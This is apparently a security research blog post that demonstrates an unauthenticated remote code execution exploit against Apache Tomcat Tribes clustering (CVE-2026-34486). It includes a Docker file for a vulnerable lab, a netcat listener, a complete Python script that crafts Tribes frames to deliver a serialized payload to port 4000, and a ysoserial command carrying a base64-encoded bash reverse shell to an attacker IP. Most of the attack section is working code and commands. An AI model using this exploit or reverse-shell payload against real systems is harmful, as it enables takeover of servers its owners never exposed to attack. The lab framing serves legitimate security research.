Insights & Research Blog

Exploiting RCE in Apache Tomcat 10.1.53 (CVE-2026-34486) [+Video PoC]

Exploiting RCE in Apache Tomcat 10.1.53 (CVE-2026-34486) [+Video PoC]

CVE-2026-34486 is a critical vulnerability in Apache Tomcat Tribes, the framework responsible for session replication and clustering, specifically affecting the following versions where the fail-open regression was introduced:

  • Apache Tomcat 11.0.20
  • Apache Tomcat 10.1.53
  • Apache Tomcat 9.0.116

This vulnerability impacts the specific set of releases rolled out in March 2026.

💡
Disclaimer: This material is for educational and security research purposes only. The author is not responsible for any misuse or damage caused by the information provided. Any techniques or tools described must only be used in controlled environments or with the explicit permission of the target system owner. Any provided code is supplied 'AS IS' without warranty of any kind. Use at your own risk.

It is important to note that this RCE is not exploitable "out of the box" for every default Tomcat installation. For the vulnerability to be triggered, the following environmental conditions must be met:

  • Active Tribes Clustering: The application must have clustering explicitly enabled, typically by defining the <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"> element in the server.xml configuration file. This is the setting that actively boots up the vulnerable Tribes framework used for session replication.
  • Network Exposure: An attacker must have network-level access to the Tribes communication port (the default is often 4000, though it can vary).
  • Presence of a Deserialization Gadget: As the exploit leverages the deserialization of untrusted data, a "gadget chain" must be available on the application's classpath. This means the target must be using specific versions of third-party libraries (like Commons-Collections) that can be chained together to execute commands.

If the above requirements are met, this vulnerability leads to unauthenticated RCE in Apache Tomcat.

What is this RCE in Apache Tomcat all about?

At its core, CVE-2026-34486 is a classic example of a security fix introducing a new, more severe problem. It stems from a "fail-open" regression within Tomcat Tribes, a component responsible for decrypting incoming messages between cluster nodes.

Here is exactly how the vulnerability unfolds:

  • The Broken Fix: A previous patch (originally meant to fix a padding-oracle issue) accidentally altered the control flow of the application. Instead of safely dropping a message when decryption fails ("fail-closed"), the interceptor now simply ignores the error and continues processing the payload ("fail-open").
  • The Attack Vector: An attacker can send a crafted, unauthenticated message directly to the exposed Tribes receiver port.
  • The Deserialization Trap: Even though the malicious message fails decryption, the broken interceptor forwards the attacker-controlled bytes straight into Tomcat's Java deserialization routine (ObjectInputStream).
  • The RCE: Because the data is deserialized without validation, an attacker can leverage a vulnerable library on the classpath (the gadget chain) to achieve full Remote Code Execution.

Apache Tomcat 10.1.53 RCE in Action

0:00
/1:10

Building a Vulnerable Lab for CVE-2026-34486 using Docker

If you want to test this exploit locally in a safe environment, you can easily spin up a vulnerable Tomcat instance using Docker.

To get started, create a new folder named TomcatLabs. Inside this directory, create a Dockerfile with the content below to deploy an environment with active Tribes clustering and a vulnerable gadget chain already present.

# Dockerfile
FROM eclipse-temurin:17-jdk-jammy

ENV TOMCAT_VER=10.1.53
ENV INSTALL_DIR=/opt/tomcat
ENV DEBIAN_FRONTEND=noninteractive

RUN apt-get update \
 && apt-get install -y --no-install-recommends wget curl ca-certificates \
 && rm -rf /var/lib/apt/lists/*

RUN mkdir -p ${INSTALL_DIR} \
 && wget -q https://archive.apache.org/dist/tomcat/tomcat-10/v${TOMCAT_VER}/bin/apache-tomcat-${TOMCAT_VER}.tar.gz -O /tmp/tomcat.tar.gz \
 && tar -xzf /tmp/tomcat.tar.gz -C ${INSTALL_DIR} --strip-components=1 \
 && rm /tmp/tomcat.tar.gz \
 && chmod +x ${INSTALL_DIR}/bin/*.sh

RUN wget -q https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar -P ${INSTALL_DIR}/lib/

RUN cat > ${INSTALL_DIR}/conf/server.xml <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<Server port="8005" shutdown="SHUTDOWN">
  <Service name="Catalina">
    <Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" />
    <Engine name="Catalina" defaultHost="localhost">
      <Host name="localhost" appBase="webapps" unpackWARs="true" autoDeploy="true">

        <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster">
          <Channel className="org.apache.catalina.tribes.group.GroupChannel">
            <Interceptor className="org.apache.catalina.tribes.group.interceptors.EncryptInterceptor"
                         encryptionKey="1234567890123456"
                         encryptionAlgorithm="AES/CBC/PKCS5Padding" />
            <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
                      address="0.0.0.0"
                      port="4000"
                      autoBind="100"
                      selectorTimeout="5000"
                      maxThreads="6"/>
          </Channel>
        </Cluster>
        <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
               prefix="localhost_access_log" suffix=".txt"
               pattern="%h %l %u %t &quot;%r&quot; %s %b" />
      </Host>
    </Engine>
  </Service>
</Server>
EOF


EXPOSE 8080 4000

CMD ["/opt/tomcat/bin/catalina.sh", "run"]

Inside the TomcatLabs folder, run the following command to start the vulnerable version of the environment:

docker build -t tomcatlabs-image .

docker run -d \
  --name TomcatLabs \
  -p 8080:8080 \
  -p 4000:4000 \
  tomcatlabs-image

Let's make sure everything is working okay on the "victim" VM:

Our lab VMs have the following IP addresses:
- victim (10.1.0.3) hosts a vulnerable Apache Tomcat instance.
- attacker (10.1.0.2) will launch the attack and receive the reverse shell.

To get started, establish two separate SSH sessions to your attacker machine. This allows us to keep our listener active while simultaneously preparing and launching the exploit.

Session 1: Setting up the Listener

In the first session, we need to initialize a listener to catch the incoming connection from the target. Standard netcat does the trick here:

nc -nlvp 4444

Session 2: Launching the Exploit

With our listener standing by, we use the second session to prepare the environment and execute the attack. Follow these steps:

1) Check for JRE: Ensure the Java Runtime Environment (JRE) is installed, as it's required for our payload generator.

apt update && apt install -y openjdk-17-jdk

2) Download ysoserial: Fetch the ysoserial tool, which is essential for generating serialized objects for the exploit.

wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

3) Create exploit.py: Create the primary exploit script that will handle the delivery of the payload. Paste the following code into the terminal:

cat << 'EOF' > exploit.py
import socket
import struct
import sys

def build_member_data():
    # 1. Header (8 bytes)
    header = b"TRIBES-B\x01\x00"
    
    # 2. MemberImpl fixed fields
    alive = struct.pack(">Q", 1000000)      # 8 bytes
    port = struct.pack(">i", 4000)          # 4 bytes
    secure_port = struct.pack(">i", -1)     # 4 bytes
    udp_port = struct.pack(">i", -1)        # 4 bytes
    
    # 3. Host (Exactly 4 bytes for IPv4)
    host_bytes = b"\x7f\x00\x00\x01"        # 127.0.0.1
    host_len = struct.pack("b", len(host_bytes)) # 1 byte
    
    # 4. Command and Domain (Length 0 -> 4 bytes per field)
    command_len = struct.pack(">i", 0)
    domain_len = struct.pack(">i", 0)
    
    # 5. Unique ID (Exactly 16 bytes)
    unique_id = b"\x00" * 16
    
    # 6. Internal Member Payload (Set to 0)
    member_payload_len = struct.pack(">i", 0)
    
    member_body = (alive + port + secure_port + udp_port + host_len + 
                   host_bytes + command_len + domain_len + unique_id + 
                   member_payload_len)
    
    # 7. Body length (4 bytes)
    body_len_field = struct.pack(">i", len(member_body))
    
    # 8. Footer (10 bytes)
    footer = b"TRIBES-E\x01\x00"
    
    return header + body_len_field + member_body + footer

def trigger(target_ip, payload_file):
    try:
        with open(payload_file, "rb") as f:
            object_payload = f.read()
    except FileNotFoundError:
        print(f"[!] Error: {payload_file} not found!")
        return

    # --- Build ChannelData ---
    options = struct.pack(">i", 0)           # 4 bytes
    timestamp = struct.pack(">Q", 999999)    # 8 bytes
    
    unique_id_cd = b"\x01" * 16              # Message ID
    unique_id_cd_len = struct.pack(">i", len(unique_id_cd))
    
    address_data = build_member_data()
    address_len = struct.pack(">i", len(address_data))
    
    message_len = struct.pack(">i", len(object_payload))
    
    # Assemble ChannelData body
    cd_body = (options + timestamp + unique_id_cd_len + unique_id_cd + 
               address_len + address_data + message_len + object_payload)

    # --- Final FLT2002 Frame ---
    packet = b"FLT2002" + struct.pack(">i", len(cd_body)) + cd_body + b"TLF2003"

    print(f"[*] Sending packet ({len(packet)} bytes) to {target_ip}:4000...")
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(5)
            s.connect((target_ip, 4000))
            s.sendall(packet)
        print("[+] Packet sent successfully.")
    except Exception as e:
        print(f"[!] Connection failed: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: python {sys.argv[0]} <target_ip>")
        sys.exit(1)
        
    target = sys.argv[1]
    trigger(target, "payload.bin")
EOF

4) Generate the Payload: Generate the specific payload string. Crucial: Make sure to include your attacker machine's IP address and the port where you're listening for the reverse shell.

java --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang=ALL-UNNAMED \
     -jar ysoserial-all.jar \
     CommonsCollections6 \
     "bash -c {echo,$(echo -n 'bash -i >& /dev/tcp/10.1.0.2/4444 0>&1' | base64 -w 0)}|{base64,-d}|{bash,-i}" \
     > payload.bin

5) Execute: Run the exploit script, pointing it directly at the victim server's IP address.

python3 exploit.py 10.1.0.3
Apache Tomcat RCE

Looking Ahead: What’s the Lesson?

System security isn't just an endless race to install the latest patches; it's the art of deeply understanding the logic behind the code. The story of CVE-2026-34486 in Apache Tomcat serves as a stark reminder that even well-intentioned security fixes can introduce a critical RCE (Remote Code Execution) vulnerability if the fundamental principle of fail-closed design is overlooked. The takeaway for any security researcher is that our work is never truly done. Every patch is merely a new set of assumptions waiting to be tested, and every fix is a potential new attack surface that requires its own cycle of rigorous verification.

References:
The most comprehensive technical deep dive:
https://www.striga.ai/research/tomcat-tribes-unauth-rce
Other Resources:
https://www.cve.org/CVERecord?id=CVE-2026-34486
https://lists.apache.org/thread/9510k5p5zdvt9pkkgtyp85mvwxo2qrly